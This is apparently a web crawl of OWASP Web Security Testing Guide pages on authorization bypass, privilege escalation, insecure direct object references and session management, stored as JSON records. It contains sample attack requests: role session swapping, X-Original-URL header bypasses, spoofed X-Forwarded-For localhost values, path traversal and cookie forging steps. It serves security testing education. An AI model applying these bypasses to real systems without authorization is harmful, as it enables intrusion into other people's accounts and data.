vertical authorization bypass is specific to the case that an attacker obtains a role higher than their own. Testing for this bypass focuses on verifying how the vertical authorization schema has been implemented for each role. For every function, page, specific role, or request that the application executes, it is necessary to verify if it is possible to:\n\n- Access resources that should be accessible only to a higher role user.\n- Operate functions on resources that should be operative only by a user that holds a higher or specific role identity.\n\nFor each role:\n\n1. Register a user.\n2. Establish and maintain two different sessions based on the two different roles.\n3. For every request, change the session identifier from the original to another role’s session identifier and evaluate the responses for each.\n4. An application will be considered vulnerable if the weaker privileged session contains the same data, or indicate successful operations on higher privileged functions.\n\n#### Banking Site Roles Scenario\n\nThe following table illustrates the system roles on a banking site. Each role binds with specific permissions for the event menu functionality:\n\n| ROLE | PERMISSION | ADDITIONAL PERMISSION |\n| --- | --- | --- |\n| Administrator | Full Control | Delete |\n| Manager | Modify, Add, Read | Add |\n| Staff | Read, Modify | Modify |\n| Customer | Read Only | |\n\nThe application will be considered vulnerable if the:\n\n1. Customer could operate administrator, manager or staff functions;\n2. Staff user could operate manager or administrator functions;\n3. Manager could operate administrator functions.\n\nSuppose that the `deleteEvent` function is part of the administrator account menu of the application, and it is possible to access it by requesting the following URL: `https://www.example.com/account/deleteEvent`. Then, the following HTTP request is generated when calling the `deleteEvent` function:\n\n```\nPOST /account/deleteEvent HTTP/1.1 Host: www.example.com [other HTTP headers] Cookie: SessionID=ADMINISTRATOR_USER_SESSION\n\nEventID=1000001\n```\n\nThe valid response:\n\n```\nHTTP/1.1 200 OK [other HTTP headers]\n\n{\"message\": \"Event was deleted\"}\n```\n\nThe attacker may try and execute the same request:\n\n```\nPOST /account/deleteEvent HTTP/1.1 Host: www.example.com [other HTTP headers] Cookie: SessionID=CUSTOMER_USER_SESSION\n\nEventID=1000002\n```\n\nIf the response of the attacker’s request contains the same data `{\"message\": \"Event was deleted\"}` the application is vulnerable.\n\n#### Administrator Page Access\n\nSuppose that the administrator menu is part of the administrator account.\n\nThe application will be considered vulnerable if any role other than administrator could access the administrator menu. Sometimes, developers perform authorization validation at the GUI level only, and leave the functions without authorization validation, thus potentially resulting in a vulnerability.\n\n### Testing for Access to Administrative Functions\n\nFor example, suppose that the `addUser` function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL `https://www.example.com/admin/addUser`.\n\nThen, the following HTTP request is generated when calling the `addUser` function:\n\n```\nPOST /admin/addUser HTTP/1.1 Host: www.example.com [...]\n\nuserID=fakeuser&role=3&group=grp001\n```\n\nFurther questions or considerations would go in the following direction:\n\n- What happens if a non-administrative user tries to execute that request?\n- Will the user be created?\n- If so, can the new user use their privileges?\n\n### Testing for Access to Resources Assigned to a Different Role\n\nVarious applications setup resource controls based on user roles. Let’s take an example resumes or CVs (curriculum vitae) uploaded on a careers form to an S3 bucket.\n\nAs a normal user, try accessing the location of those files. If you are able to retrieve them, modify them, or delete them, then the application is vulnerable.\n\nSome applications support non-standard headers such as `X-Original-URL` or `X-Rewrite-URL` in order to allow overriding the target URL in requests with the one specified in the header value.\n\nThis behavior can be leveraged in a situation in which the application is behind a component that applies access control restriction based on the request URL.\n\nThe kind of access control restriction based on the request URL can be, for example, blocking access from Internet to an administration console exposed on `/console` or `/admin`.\n\nTo detect the support for the header `X-Original-URL` or `X-Rewrite-URL`, the following steps can be applied.\n\n```\nGET / HTTP/1.1 Host: www.example.com [...] \n```\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Original-URL: /donotexist1\n[...]\n```\n\n```\nGET / HTTP/1.1\nHost: www.example.com\nX-Rewrite-URL: /donotexist2\n[...]\n```\n\nIf the response for either request contains markers that the resource was not found, this indicates that the application supports the special request headers. These markers may include the HTTP response status code 404, or a “resource not found” message in the response body.\n\nOnce the support for the header `X-Original-URL` or `X-Rewrite-URL` was validated then the tentative of bypass against the access control restriction can be leveraged by sending the expected request to the application but specifying a URL “allowed” by the front-end component as the main request URL and specifying the real target URL in the `X-Original-URL` or `X-Rewrite-URL` header depending on the one supported. If both are supported then try one after the other to verify for which header the bypass is effective.\n\n#### 4. Other Headers to Consider\n\nOften admin panels or administrative related bits of functionality are only accessible to clients on local networks, therefore it may be possible to abuse various proxy or forwarding related HTTP headers to gain access. Some headers and values to test with are:\n\n- Headers:\n - `X-Forwarded-For`\n - `X-Forward-For`\n - `X-Remote-IP`\n - `X-Originating-IP`\n - `X-Remote-Addr`\n - `X-Client-IP`\n- Values\n - `127.0.0.1` (or anything in the `127.0.0.0/8` or `::1/128` address spaces)\n - `localhost`\n - Any [RFC1918](https://tools.ietf.org/html/rfc1918) address:\n - `10.0.0.0/8`\n - `172.16.0.0/12`\n - `192.168.0.0/16`\n - Link local addresses: `169.254.0.0/16`\n\nNote: Including a port element along with the address or hostname may also help bypass edge protections such as web application firewalls, etc.\nFor example: `127.0.0.4:80`, `127.0.0.4:443`, `127.0.0.4:43982`\n\n## Remediation\n\nEmploy the least privilege principles on the users, roles, and resources to ensure that no unauthorized access occurs.\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org/)\n - [ZAP add-on: Access Control Testing](https://www.zaproxy.org/docs/desktop/addons/access-control-testing/)\n- [Port Swigger Burp Suite](https://portswigger.net/burp)\n - [Burp extension: AuthMatrix](https://github.com/SecurityInnovation/AuthMatrix/)\n - [Burp extension: Autorize](https://github.com/Quitten/Autorize)\n\n## References\n\n[OWASP Application Security Verification Standard 4.0.1](https://github.com/OWASP/ASVS/tree/master/4.0), v4.0.1-1, v4.0.1-4, v4.0.1-9, v4.0.1-16\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10254, "slov": 1472, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:30", "sha256": "2cfc970d91f0814a239d65bf511ab519bdf791f536f792e1ad9cb6fe1d8afcff", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc1918", "https://www.zaproxy.org/", "https://www.zaproxy.org/docs/desktop/addons/access-control-testing/", "https://portswigger.net/burp", "https://github.com/SecurityInnovation/AuthMatrix/", "https://github.com/Quitten/Autorize", "https://github.com/OWASP/ASVS/tree/master/4.0", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "05-Authorization Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Privilege Escalation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Role/Privilege Manipulation"}, {"uroven": 4, "text": "Manipulation of User Group"}, {"uroven": 4, "text": "Manipulation of User Profile"}, {"uroven": 4, "text": "Manipulation of Condition Value"}, {"uroven": 4, "text": "Manipulation of IP Address"}, {"uroven": 3, "text": "URL Traversal"}, {"uroven": 3, "text": "WhiteBox"}, {"uroven": 3, "text": "Weak SessionID"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Testing for Privilege Escalation\n\n| ID |\n| --- |\n| WSTG-ATHZ-03 |\n\n## Summary\n\nThis section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify their privileges or roles inside the application in ways that could allow privilege escalation attacks.\n\nPrivilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.\n\nThe degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.\n\nUsually, people refer to *vertical escalation* when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to *horizontal escalation* when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).\n\n## Test Objectives\n\n- Identify injection points related to privilege manipulation.\n- Fuzz or otherwise attempt to bypass security measures.\n\n## How to Test\n\n### Testing for Role/Privilege Manipulation\n\nIn every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the user’s role/privilege (but might be permitted as another user).\n\n#### Manipulation of User Group\n\nFor example:\nThe following HTTP POST allows the user that belongs to `grp001` to access order #0001:\n\n```\nPOST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ...\n\ngroupID=grp001&orderID=0001\n```\n\nVerify if a user that does not belong to `grp001` can modify the value of the parameters `groupID` and `orderID` to gain access to that privileged data.\n\n#### Manipulation of User Profile\n\nFor example:\nThe following server’s answer shows a hidden field in the HTML returned to the user after a successful authentication.\n\n```\nHTTP/1.1 200 OK\nServer: Netscape-Enterprise/6.0\nDate: Wed, 1 Apr 2006 13:51:20 GMT\nSet-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com\nSet-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com\nCache-Control: no-cache\nPragma: No-cache\nContent-length: 247\nContent-Type: text/html\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nConnection: close\n\n
\\\n\n \n```\n\nWhat if the tester modifies the value of the variable `profile` to `SysAdmin`? Is it possible to become **administrator**?\n\n#### Manipulation of Condition Value\n\nFor example:\nIn an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes, as the following:\n\n```\n@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`\nStateExecToolBar`0`0`0`FlagsToolBar`0\n```\n\nThe server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.\n\nIn this condition, verify that it is not possible to escalate privileges by modifying the parameter values. In this particular example, by modifying the `PVValid` value from `-1` to `0` (no error conditions), it may be possible to authenticate as administrator to the server.\n\n#### Manipulation of IP Address\n\nSome websites limit access or count the number of failed login attempts based on IP address.\n\nFor example:\n\n```\nX-Forwarded-For: 8.1.1.1\n```\n\nIn this case, if the website uses the value of `X-forwarded-For` as client IP address, tester may change the IP value of the `X-forwarded-For` HTTP header to workaround the IP source identification.\n\n### URL Traversal\n\nTry to traverse the website and check if some of pages that may miss the authorization check.\n\nFor example:\n\n```\n/../.././userInfo.html\n```\n\n### WhiteBox\n\nIf the URL authorization check is only done by partial URL match, then it’s likely testers or hackers may workaround the authorization by URL encoding techniques.\n\nFor example:\n\n```\nstartswith(), endswith(), contains(), indexOf()\n```\n\n### Weak SessionID\n\nWeak Session ID has algorithm may be vulnerable to brute Force attack. For example, one website is using `MD5(Password + UserID)` as sessionID. Then, testers may guess or generate the sessionID for other users.\n\n## References\n\n### Whitepapers\n\n- [Wikipedia - Privilege Escalation](https://en.wikipedia.org/wiki/Privilege_escalation)\n\n## Tools\n\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5527, "slov": 820, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:30", "sha256": "b22196c1b0d6257a48a24e3c24a26609f26f0cd573b6a4b6c08f8c34ad426a46", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Privilege_escalation", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "05-Authorization Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Insecure Direct Object References"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Retrieve a Database Record"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Perform an Operation in the System"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Retrieve a File System Resource"}, {"uroven": 3, "text": "The Value of a Parameter Is Used Directly to Access Application Functionality"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Insecure Direct Object References\n\n| ID |\n| --- |\n| WSTG-ATHZ-04 |\n\n## Summary\n\nInsecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.\nInsecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.\n\n## Test Objectives\n\n- Identify points where object references may occur.\n- Assess the access control measures and if they’re vulnerable to IDOR.\n\n## How to Test\n\nTo test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.\n\nThe best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.\n\nBelow are several typical scenarios for this vulnerability and the methods to test for each:\n\n### The Value of a Parameter Is Used Directly to Retrieve a Database Record\n\nSample request:\n\n```\nhttp://foo.bar/somepage?invoice=12345\n```\n\nIn this case, the value of the *invoice* parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.\n\nSince the value of *invoice* goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.\n\n### The Value of a Parameter Is Used Directly to Perform an Operation in the System\n\nSample request:\n\n```\nhttp://foo.bar/changepassword?user=someuser\n```\n\nIn this case, the value of the `user` parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user’s password is to be changed, and in the next step the user will provide a new password (without asking for the current one).\n\nThe `user` parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user.\n\n### The Value of a Parameter Is Used Directly to Retrieve a File System Resource\n\nSample request:\n\n```\nhttp://foo.bar/showImage?img=img00011\n```\n\nIn this case, the value of the `file` parameter is used to tell the application what file the user intends to retrieve. By providing the name or identifier of a different file (for example file=image00012.jpg) the attacker will be able to retrieve objects belonging to other users.\n\nTo test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of `file` parameter. Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see [Testing for Path Traversal](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include))\n\n### The Value of a Parameter Is Used Directly to Access Application Functionality\n\nSample request:\n\n```\nhttp://foo.bar/accessPage?menuitem=12\n```\n\nIn this case, the value of the `menuitem` parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of `menuitem` parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items.\n\nIn the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.\n\n## References\n\n[Top 10 2013-A4-Insecure Direct Object References](https://owasp.org/www-project-top-ten/2017/Release_Notes)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5938, "slov": 917, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:31", "sha256": "1098f7468b5af1165874d153925a2cf8f6b87aa2a2147ed4f3e63e67f406f6a3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "05-Authorization Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.5 Authorization Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.5 Authorization Testing\n\n4.5.1 [Testing Directory Traversal File Include](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)\n\n4.5.2 [Testing for Bypassing Authorization Schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)\n\n4.5.3 [Testing for Privilege Escalation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation)\n\n4.5.4 [Testing for Insecure Direct Object References](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 918, "slov": 63, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:28", "sha256": "307ab277f46fe436d625d27ba0008a1b9aadd4a805d23992706a12f62e846b56", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.6 Session Management Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.6 Session Management Testing\n\n4.6.1 [Testing for Session Management Schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema)\n\n4.6.2 [Testing for Cookies Attributes](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n4.6.3 [Testing for Session Fixation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation)\n\n4.6.4 [Testing for Exposed Session Variables](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables)\n\n4.6.5 [Testing for Cross Site Request Forgery](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n4.6.6 [Testing for Logout Functionality](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality)\n\n4.6.7 [Testing Session Timeout](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout)\n\n4.6.8 [Testing for Session Puzzling](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling)\n\n4.6.9 [Testing for Session Hijacking](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1804, "slov": 128, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:35", "sha256": "c122bb68f94835dc3f26948a2af934e29a5a43da129b6cdb249ab6a1ac7c714f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Session Management Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing and Examples"}, {"uroven": 4, "text": "Session Analysis"}, {"uroven": 4, "text": "Session ID Predictability and Randomness"}, {"uroven": 4, "text": "Brute Force Attacks"}, {"uroven": 3, "text": "Gray-Box Testing and Example"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Session Management Schema\n\n| ID |\n| --- |\n| WSTG-SESS-01 |\n\n## Summary\n\nOne of the core components of any web-based application is the mechanism by which it controls and maintains the state for a user interacting with it. To avoid continuous authentication for each page of a website or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. These mechanisms are known as Session Management.\n\nIn this test, the tester wants to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.\n\nCookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.\n\nA typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).\n\nDue to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way.\n\nIn this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, …).\n\nUsually the main steps of the attack pattern are the following:\n\n- **cookie collection** : collection of a sufficient number of cookie samples;\n- **cookie reverse engineering** : analysis of the cookie generation algorithm;\n- **cookie manipulation** : forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).\n\nAnother pattern of 